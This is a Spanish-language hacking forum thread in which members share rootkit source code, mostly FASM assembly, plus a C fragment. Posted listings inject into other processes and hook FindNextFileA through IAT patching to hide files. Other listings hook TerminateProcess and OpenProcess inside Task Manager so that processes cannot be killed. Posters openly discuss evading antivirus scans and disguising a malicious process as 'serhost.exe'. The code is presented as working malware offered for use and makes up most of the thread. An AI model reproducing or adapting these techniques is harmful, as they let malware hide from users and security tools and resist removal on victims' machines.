Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales
Autor
|
Tema: [SRC] Rootkit FindNextFileA [IAT Patching] (Leído 2,215 veces)
|
|
[Zero]
|
include 'C:\fasm\include\win32ax.inc' .code proc start locals ProcessName db "prueba.exe",0 endl stdcall Inyectar,addr ProcessName,FinFuncionHook-FuncionHook,FuncionHook,0,0 cmp eax,-1 je Salir ;ebx=hProcess ;eax=DirFuncion mov esi,eax add eax,FinFuncionHook-FuncionHook sub eax,4 ;Escribimos la dirección de GetProcAddress en la variable pGetProcAddress invoke WriteProcessMemory,ebx,eax,GetProcAddress,4,0 stdcall Inyectar,addr ProcessName,FinParchearIAT-ParchearIAT,ParchearIAT,esi,1 cmp eax,-1 je Salir invoke ExitProcess,0 Salir: invoke MessageBoxA,0,"No se encontró el proceso!",0,0 invoke ExitProcess,0 endp proc Inyectar,ProcessName,Tamaño,Funcion,Datos,bCrearHilo locals struct PROCESSENTRY32 dwSize dd ? cntUsage dd ? th32ProcessID dd ? th32DefaultHeapID dd ? th32ModuleID dd ? cntThreads dd ? th32ParentProcessID dd ? pcPriClassBase dd ? dwFlags dd ? szExeFile rb MAX_PATH ends pInfo PROCESSENTRY32 ? Handle dd ? PID dd ? DirFuncion dd ? hProcess dd ? endl pushad ;Obtenemos el PID del proceso invoke CreateToolhelp32Snapshot,0x00000002,0 mov [Handle],eax mov eax,sizeof.PROCESSENTRY32 mov [pInfo.dwSize], eax BuclePid: invoke Process32Next,[Handle],addr pInfo cmp eax,0 je FinProcBuclePID ;No hay más procesos invoke lstrcmp,addr pInfo.szExeFile,[ProcessName] cmp eax,0 jne BuclePid jmp FinBuclePid FinProcBuclePID: invoke CloseHandle,[Handle] popad mov eax,-1 ret FinBuclePid: invoke CloseHandle,[Handle] push [pInfo.th32ProcessID] pop [PID] ;Lazamos el proceso invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID] mov [hProcess],eax ;Reservamos espacio en el proceso invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE mov [DirFuncion],eax ;Escribimos los datos en memoria invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0 ;Creamos el hilo si se espacificó que si cmp [bCrearHilo],0 je retornar invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0 retornar: popad mov eax,[DirFuncion] mov ebx,[hProcess] ret endp proc ParchearIAT,DirFuncion locals BaseKernel32 dd ? BaseExe dd ? IT dd ? Contador dd 0 OriginalProtection dd ? Lib1 dd "KERN" Lib2 dd "kern" ET dd ? pGetProcAddress dd ? endl ;Leemos el PEB para obtener la base de KERNEL32.DLL mov eax,[fs:0x30] mov eax,[eax+0x0C] mov eax,[eax+0x1C] mov eax,[eax] mov eax,[eax+0x08] mov [BaseKernel32],eax ;Buscamos la dirección de GetProcAddress en KERNEL32.DLL ;Vamos al PE mov eax,dword[eax+0x3C] add eax,[BaseKernel32] ;Vamos a la Export Table mov eax,dword[eax+0x78] add eax,[BaseKernel32] mov [ET],eax ;Vamos al AddressOfNames mov eax,dword[eax+0x20] add eax,[BaseKernel32] mov edi,eax xor ecx,ecx BucleApiE: mov ebx,dword[edi] add ebx,[BaseKernel32] cmp dword[ebx],"GetP" jne siguiente cmp dword[ebx+4],"rocA" je Encontrado siguiente: add edi,4 inc ecx jmp BucleApiE Encontrado: ;ecx=numero api=GetProcAddress ; Obtenemos el ordinal de GetProcAddress mov eax,[ET] mov ebx,dword[eax+0x24] add ebx,[BaseKernel32] rol ecx,1 ; ecx*2 add ebx,ecx ; Obtenemos la dirección de GetProcAdress xor ecx,ecx movzx ecx,word[ebx] rol ecx,2 mov eax,[ET] mov eax,dword[eax+0x1C] add eax,[BaseKernel32] add eax,ecx mov eax,dword[eax] add eax,[BaseKernel32] mov [pGetProcAddress],eax ;Leemos el PEB para obtener la base del Exe mov eax,[fs:0x30] mov eax,[eax+0x08] mov [BaseExe],eax mov eax,dword[eax+0x3C] ;Vamos al PE add eax,[BaseExe] mov eax,dword[eax+0x80] ;Vamos a la Import Table add eax,[BaseExe] mov [IT],eax BucleLib: mov eax,[IT] add eax,12 ; add eax,[Contador] mov eax,dword[eax] add eax,[BaseExe] mov ebx,eax mov eax,[Lib1] cmp dword[ebx],eax je EncontradaKernel32 mov eax,[Lib2] cmp dword[ebx],eax je EncontradaKernel32 add [Contador],20 jmp BucleLib EncontradaKernel32: mov eax,[IT] add eax,[Contador] add eax,16 ;FirstThunk mov ebx,dword [eax] ;Vamos a la IAT de Kernel32.dll add ebx,[BaseExe] BucleApi: stdcall [pGetProcAddress],[BaseKernel32],"FindNextFileA" cmp dword[ebx],eax je CambiarPuntero add ebx,4 jmp BucleApi CambiarPuntero: ;Damos permisos a la dirección para poder cambiar el puntero stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect" stdcall eax,ebx,4,PAGE_EXECUTE_READWRITE,addr OriginalProtection ;Cambiamos el puntero por el de nuestra funcion mov eax,[DirFuncion] mov dword[ebx],eax ret endp FinParchearIAT: ;Función a la que salta el programa cuando se llama a la API hookeada proc FuncionHook,hFindFile,lpFindFileData Volver: ;Obtenemos el delta offset call delta2 delta2: pop edx sub edx,delta2 ;Obtenemos la dirección de GetProcAddress mov ecx,edx add ecx,pGetProcAddress mov ecx,dword[ecx] ;Leemos el PEB para obtener la base de KERNEL32.DLL mov eax,[fs:0x30] mov eax,[eax+0x0C] mov eax,[eax+0x1C] mov eax,[eax] mov eax,[eax+0x08] mov ebx,edx add ebx,NombreApi push ebx ;Puseamos la dirécción de NombreApi push eax ;Pusheamos la dirección base de KERNEL32.DLL call ecx mov ecx,eax ;Llamamos a la api push [lpFindFileData] push [hFindFile] call ecx cmp eax,0 je Retornar mov ebx,[lpFindFileData] add ebx,44 cmp byte[ebx],'#' jne Retornar jmp Volver Retornar: ret endp NombreApi db "FindNextFileA",0 pGetProcAddress dd ? FinFuncionHook: .end start Bueno lo primero que resalta es que no se inyecta en explorer no? Es porque no funciona con él, y no es porque hookea FindNextFileA y no FindNextFileW, es que he tenido problemas para hookearlo mediante IAT Patching y aún no se a que se debe. Otro punto es el método para encontrar el puntero a la API en la IAT, que como me dijo YST, éso no vale  . Llama a GetProcAddress en un bucle comprobando el retorno con los valores de la IAT, si se trata del mismo valor entonces la dirección es ésta. No se me ocurrió otra forma de hacerlo ya que cuando el ejecutable se carga en memoria los punteros a los nombres se sobreescriben por los punteros a las API's, así que posteo el código por dos motivos, uno por si a alguien le sirve y otro para ver si a alguien lo sabe solucionar, yo intentaré hacer éste fin de semana, si saco un rato  . No está muy comentado el código, cualquier duda ya sabéis. Saludos
|
|
|
|
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.” Nietzsche
|
|
|
Jaixon Jax
Desconectado
Mensajes: 855
|
 Exelente Con este hook se oculta un archivo cuando lo buscamos y exploramos los directorios.  y si lo inyectamos en esos procesos AV que hacen scan se puede evitar que detecten el archivo  eso si si el scan no corre como system  es un simple hook pero la utilidad es innumerable ¿ No has hookeado Process32Next? yo he estao en eso y no he podido tal vez Hacker_zero o YST puedan ilustrarnos Saludos
|
|
|
|
|
En línea
|
Tricalogo del buen forista: 1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo ..... 2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden .... 3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
|
|
|
|
|
Jaixon Jax
Desconectado
Mensajes: 855
|
Si yo ya lo he hecho en taskmgr pero lo que no concibo es que tengo que modificar para que me oculte el proceso en el taskmgr aqui te dejo el source de lo que he tratado de hacer. BOOL __stdcall miProcess32NextW(HANDLE hwnd,LPPROCESSENTRY32 lppe) { bool a; a=pBuffFN3(hwnd,lppe); if(strcmp(lppe->szExeFile,"mibicho.exe")==0) { strcpy(lppe ->szExeFile,"serhost.exe") ; lppe ->th32ProcessID=150; return a; } return a; }
bueno esta es la funcion inpostora, y pbuffFN3 es la funcion real lo que trato de hacer es llamar la funcion real y modificar lo que retorna para que no aparezca el proceso en el Taskmgr o aparece esa informacion falsa lo go con ajuste de token SET_DEBUG_NAME y no me funciona tal vez es por que no se como trabaja esta Api realmente  Si me hechan una mano Saludos....
|
|
|
|
|
En línea
|
Tricalogo del buen forista: 1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo ..... 2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden .... 3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
|
|
|
|
[Zero]
|
Si saco un rato te hago un ejemplo, Process32NextW es casi igual a FindNextFileW, devuelve true o false si hay más procesos que listar, y el nombre de los procesos y otra información lo devuelve en la estrucutra PROCESSENTRY32. Lo que habría que hacer es desde nuestra función llamar a la API original, comprobar PROCESSENTRY32, compruebas si es el proceso que quieres ocultar, y si lo es vulves a llamar a PROCESSENTRY32 sin retornar al programa principal, para así, ocultar el proceso.
Saludos
|
|
|
|
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.” Nietzsche
|
|
|
YST
Desconectado
Mensajes: 963
I'm you
|
Me puse a revisar el Taskmngr.exe y no incluye en ningún momento la api Process32NextW ( en Windows 7 ) . No puedo hacer mucho si no se como lista los procesos pero logre hacer que no pueda cerrar ningún proceso haciendo un Hook colocando lo siguiente en la api TerminateProcess mov eax, dword[FS:18h] mov dword[eax+34h],0x5;Seteamos el error de acceso denegado mov eax,0 ret
|
|
|
|
« Última modificación: 29 Agosto 2009, 17:40 por YST »
|
En línea
|
 Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
|
[Zero]
|
 . Gran trabajo YST  .
|
|
|
|
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.” Nietzsche
|
|
|
YST
Desconectado
Mensajes: 963
I'm you
|
Algo a si quedaria el code ; FinFuncion-FuncionInyectada = tamaño de la funcion include 'win32ax.inc' ;Incluimos la libreria .data ; Declaramos la sección de codigo proc start ; Entry Point locals struct PROCESSENTRY32 dwSize dd ? cntUsage dd ? th32ProcessID dd ? th32DefaultHeapID dd ? th32ModuleID dd ? cntThreads dd ? th32ParentProcessID dd ? pcPriClassBase dd ? dwFlags dd ? szExeFile rb MAX_PATH ends pInfo PROCESSENTRY32 ? PID dd ? lProc dd ? DirFun dd ? ;Espacio donde escribiremos nuestro codigo lHandle dd ? endl ; invoke FindWindowEx,0,0,"Progman",NULL .seguir: invoke CreateToolhelp32Snapshot,0x00000002,0 mov [lHandle],eax mov eax,sizeof.PROCESSENTRY32 mov [pInfo.dwSize], eax .BuclePid: invoke Process32Next,[lHandle],addr pInfo cmp eax,0 je .seguir invoke lstrcmp,addr pInfo.szExeFile,"taskmgr.exe" cmp eax,0 jne .BuclePid .Seguir2: ; invoke GetWindowThreadProcessId,eax,addr PID invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[pInfo.th32ProcessID] mov [lProc],eax stdcall ReservarEspacio,FinFuncion-FuncionInyectada,[lProc] mov [DirFun],eax invoke WriteProcessMemory,[lProc],[DirFun],FuncionInyectada,FinFuncion-FuncionInyectada,0 invoke GetModuleHandle,'kernel32.dll' invoke CreateRemoteThread,[lProc],0,0,[DirFun],eax,0,0 invoke Sleep,1000 jmp .seguir endp proc ReservarEspacio,pTamaño,pPid invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE ret endp proc FuncionInyectada,pMZ locals pGetProcAddress dd ? lDelta dd ? lGetMDA DD ? lWSOCK32 dd ? lRMM dd ? lDD dd ? LVRPX dd ? lBytes dd ? lSend dd ? endl call delta delta: pop edx sub edx,delta mov [lDelta],edx mov eax,[lDelta] add eax,GetAddressFunction mov [pGetProcAddress],eax stdcall [pGetProcAddress],[pMZ],"GetModuleHandleA",[lDelta] mov [lGetMDA],eax stdcall [lGetMDA],"kernel32.dll" mov [lWSOCK32],eax stdcall [pGetProcAddress],[pMZ],"GetProcAddress",[lDelta] stdcall eax,[lWSOCK32],"TerminateProcess" mov [lSend],eax mov ebx,cRtlMoveMemory add ebx,[lDelta] mov [lRMM],ebx stdcall [pGetProcAddress],[pMZ],"VirtualProtectEx",[lDelta] mov [LVRPX],eax lea edx,[lDD] stdcall [LVRPX],-1,[lSend],20,PAGE_EXECUTE_READWRITE,edx mov eax,[lSend] mov byte[eax],0x68 inc eax mov dword[eax],MiTerminateProcess mov edx,[lDelta] add dword[eax] ,edx add eax,4 mov byte[eax],0xC3 stdcall [pGetProcAddress],[pMZ],"Sleep",[lDelta] stdcall eax,-1 endp proc GetAddressFunction,pMZ,pApi,lDelta locals lDelta2 dd ? endl ;EDI = MZ ;Expot data = EBX ;Esi = Cantidad de funciones ;edx = AddressOfNames ;ECX = Propositos generales mov edi, [pMZ] mov ebx,[edi+0x3c] mov ebx,[ebx+edi+0x78] add ebx,edi mov esi,[0x18+ebx] mov edx, [0x20+ebx] add edx,edi .bucle: dec esi cmp esi,0 je .error mov eax,esi rol eax,2 ;Multiplicamos esi por 4 mov eax,[edx + eax] add eax,edi push eax mov eax,[lDelta] mov [lDelta2],eax add [lDelta2],comparar pop eax stdcall [lDelta2],[pApi],eax xor eax,0 jnz .bucle mov eax,[0x24+ebx] add eax,edi movzx ecx, word[eax + 2*esi] mov eax, [ebx + 0x1c] add eax,edi mov eax, [eax + 4 * ecx] add eax, edi .salir: ret .error: xor eax,eax jmp .salir endp proc comparar ,SRC,DST push edi ecx esi mov ecx,-1 mov edi,[SRC] mov al,0 repnz scasb mov eax,ecx not eax mov ecx,eax mov esi,[SRC] mov edi,[DST] repz cmpsb mov eax,1 jnz Next dec eax Next: pop esi ecx edi ret endp ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory ; by YST proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad push esi edi xchg edi,[cBuffer] xchg esi,[Cpuntero] .bucleb: dec [cCantidad] movsb cmp [cCantidad],0 jge .bucleb pop edi esi ret endp proc MiTerminateProcess,p1,p2 mov eax, dword[FS:18h] mov dword[eax+34h],0x5;Seteamos el error de acceso denegado mov eax,0 ret endp FinFuncion: .end start ; Declaramos el Import data y el Entry Point
|
|
|
|
|
En línea
|
 Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
|
[Zero]
|
Sigues usando el push+ret eh?  . En éste código no se ve, pero me gusta tu forma de hacer un hook "por trampolín" ya que no lo haces exactamente como se suele hacer, y parece que tu forma es mejor, ya que no tienes que preocuparte por los bytes que pisas, me gusta  . Aparte de eso bueno código, lo demás ya te lo comenté  . Saludos
|
|
|
|
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.” Nietzsche
|
|
|
Jaixon Jax
Desconectado
Mensajes: 855
|
 Esto es diciendo y haciendo no ? Gracias....
|
|
|
|
|
En línea
|
Tricalogo del buen forista: 1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo ..... 2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden .... 3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
|
|
|
YST
Desconectado
Mensajes: 963
I'm you
|
Jugando un poco hoockee la api OpenProcess evitando que funcione cuando quieran terminar o hacer cualquieer cosa en mi proceso , el unico defecto es que como inyecto tantas veces puedo llegar a hacer que pase un BSOD si al taskmanager esta mucho abierto xD ; FinFuncion-FuncionInyectada = tamaño de la funcion include 'win32ax.inc' ;Incluimos la libreria .data ; Declaramos la sección de codigo proc start ; Entry Point locals struct PROCESSENTRY32 dwSize dd ? cntUsage dd ? th32ProcessID dd ? th32DefaultHeapID dd ? th32ModuleID dd ? cntThreads dd ? th32ParentProcessID dd ? pcPriClassBase dd ? dwFlags dd ? szExeFile rb MAX_PATH ends pInfo PROCESSENTRY32 ? PID dd ? lProc dd ? DirFun dd ? ;Espacio donde escribiremos nuestro codigo lHandle dd ? endl mov eax,dword[fs:18h] mov eax,dword[eax+20h] mov [dPID],eax ; invoke FindWindowEx,0,0,"Progman",NULL .seguir: invoke CreateToolhelp32Snapshot,0x00000002,0 mov [lHandle],eax mov eax,sizeof.PROCESSENTRY32 mov [pInfo.dwSize], eax .BuclePid: invoke Process32Next,[lHandle],addr pInfo cmp eax,0 je .seguir invoke lstrcmp,addr pInfo.szExeFile,"taskmgr.exe" cmp eax,0 jne .BuclePid .Seguir2: ; invoke GetWindowThreadProcessId,eax,addr PID invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[pInfo.th32ProcessID] mov [lProc],eax stdcall ReservarEspacio,FinFuncion-FuncionInyectada,[lProc] mov [DirFun],eax invoke WriteProcessMemory,[lProc],[DirFun],FuncionInyectada,FinFuncion-FuncionInyectada,0 invoke GetModuleHandle,'kernel32.dll' invoke CreateRemoteThread,[lProc],0,0,[DirFun],eax,0,0 invoke Sleep,100 jmp .seguir endp proc ReservarEspacio,pTamaño,pPid invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE ret endp proc FuncionInyectada,pMZ locals ; Definimos las variables locales pGetProcAddress dd ? lDelta dd ? lGetMDA DD ? lWSOCK32 dd ? lRMM dd ? lDD dd ? LVRPX dd ? lBytes dd ? lSend dd ? endl call delta delta: pop edx sub edx,delta mov [lDelta],edx mov eax,[lDelta] add eax,GetAddressFunction mov [pGetProcAddress],eax stdcall [pGetProcAddress],[pMZ],"GetModuleHandleA",[lDelta] mov [lGetMDA],eax stdcall [lGetMDA],"kernel32.DLL" mov [lWSOCK32],eax stdcall [pGetProcAddress],[pMZ],"GetProcAddress",[lDelta] stdcall eax,[lWSOCK32],"OpenProcess" mov [lSend],eax mov ebx,cRtlMoveMemory add ebx,[lDelta] mov [lRMM],ebx mov edi,BytesOriginales add edi,[lDelta] stdcall [pGetProcAddress],[pMZ],"VirtualProtectEx",[lDelta] mov [LVRPX],eax mov edi,BytesOriginales add edi,[lDelta] lea edx,[lDD] mov [lBytes],edi stdcall [LVRPX],-1,[lBytes],40,PAGE_EXECUTE_READWRITE,edx stdcall [lRMM],[lBytes],[lSend],20 lea edx,[lDD] stdcall [LVRPX],-1,[lSend],20,PAGE_EXECUTE_READWRITE,edx mov eax,[lSend] mov byte[eax],0x68 inc eax mov dword[eax],MiOpenProcess mov edx,[lDelta] add dword[eax] ,edx add eax,4 mov byte[eax],0xC3 mov eax,DireecionAPI add eax,[lDelta] mov edi,[lSend] mov [eax],edi stdcall [pGetProcAddress],[pMZ],"GetModuleHandleA",[lDelta] mov [lGetMDA],eax stdcall [lGetMDA],"user32.dll" stdcall [pGetProcAddress],eax,"MessageBoxA",[lDelta] mov edi, eax mov eax,DireccionMes add eax,[lDelta] mov [eax],edi stdcall [pGetProcAddress],[pMZ],"Sleep",[lDelta] stdcall eax,-1 endp proc GetAddressFunction,pMZ,pApi,lDelta locals lDelta2 dd ? endl ;EDI = MZ ;Expot data = EBX ;Esi = Cantidad de funciones ;edx = AddressOfNames ;ECX = Propositos generales mov edi, [pMZ] mov ebx,[edi+0x3c] mov ebx,[ebx+edi+0x78] add ebx,edi mov esi,[0x18+ebx] mov edx, [0x20+ebx] add edx,edi .bucle: dec esi cmp esi,0 je .error mov eax,esi rol eax,2 ;Multiplicamos esi por 4 mov eax,[edx + eax] add eax,edi push eax mov eax,[lDelta] mov [lDelta2],eax add [lDelta2],comparar pop eax stdcall [lDelta2],[pApi],eax xor eax,0 jnz .bucle mov eax,[0x24+ebx] add eax,edi movzx ecx, word[eax + 2*esi] mov eax, [ebx + 0x1c] add eax,edi mov eax, [eax + 4 * ecx] add eax, edi .salir: ret .error: xor eax,eax jmp .salir endp proc comparar ,SRC,DST push edi ecx esi mov ecx,-1 mov edi,[SRC] mov al,0 repnz scasb mov eax,ecx not eax mov ecx,eax mov esi,[SRC] mov edi,[DST] repz cmpsb mov eax,1 jnz Next dec eax Next: pop esi ecx edi ret endp ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory ; by YST proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad push esi edi xchg edi,[cBuffer] xchg esi,[Cpuntero] .bucleb: dec [cCantidad] movsb cmp [cCantidad],0 jge .bucleb pop edi esi ret endp proc MiOpenProcess,p1,p2,p3 locals lDelta dd ? lRMM dd ? lResultado dd ? lDireccion dd ? lMensaje dd ? lBytes dd ? endl call .delta .delta: pop edx sub edx,.delta mov [lDelta],edx mov eax,[lDelta] add eax,DireccionMes mov eax,dword[eax] mov [lMensaje],eax mov eax, DireecionAPI add eax,[lDelta] mov eax,dword[eax] mov [lDireccion],eax mov eax,cRtlMoveMemory add eax,[lDelta] mov [lRMM],eax mov eax,BytesOriginales add eax,[lDelta] mov [lBytes],eax stdcall [lRMM],[lDireccion],[lBytes],20 mov eax,[lDelta] add eax,dPID mov eax,dword[eax] .if [p3] = eax mov eax, dword[FS:18h] mov dword[eax+34h],0x5;Seteamos el error de acceso denegado mov eax,0 ret .else stdcall [lDireccion],[p1],[p2],[p3] mov [lResultado],eax .endif mov eax,[lResultado] ret endp DireccionMes dd ? DireecionAPI dd ? dPID dd ? BytesOriginales: db 50 dup (0) FinFuncion: .end start ; Declaramos el Import data y el Entry Point
|
|
|
|
|
En línea
|
 Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
Jaixon Jax
Desconectado
Mensajes: 855
|
Yo hice algo parecido en c y para solucionar lo que mencionaste utilice una bandera  para saber en que momento se cerraba el taskmgr y despues de cerrado el programa escanearia otra vez los procesos. En cuanto a la API ProcessNext32 hace un mes existia dentro del taskmgr y ahora que le estaba hechando mano al codigo nada de nada  antes por lo menos colgaba el task o dba señales de vida pero ahora nada, despues abri el takmgr con OllyDebug y  no aparece la api por ningun lado. Tomando en cuenta que tengo un XP 100% original y cada rato se esta actualizando llego a la conclusion que los picaros de mocosoft parchearon el exe para XP, por que juraria por judas que esa api la utilizaba el taskmgr hace un mes .  Por eso es que hay cosas que uno no puede publicar por que las arañitas indexan todo y va ha parar a las Casas de Software. asi que no se pongan bravos cuando les pida una manita por MP  . Saludos....
|
|
|
|
|
En línea
|
Tricalogo del buen forista: 1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo ..... 2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden .... 3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
|
|
|
|
|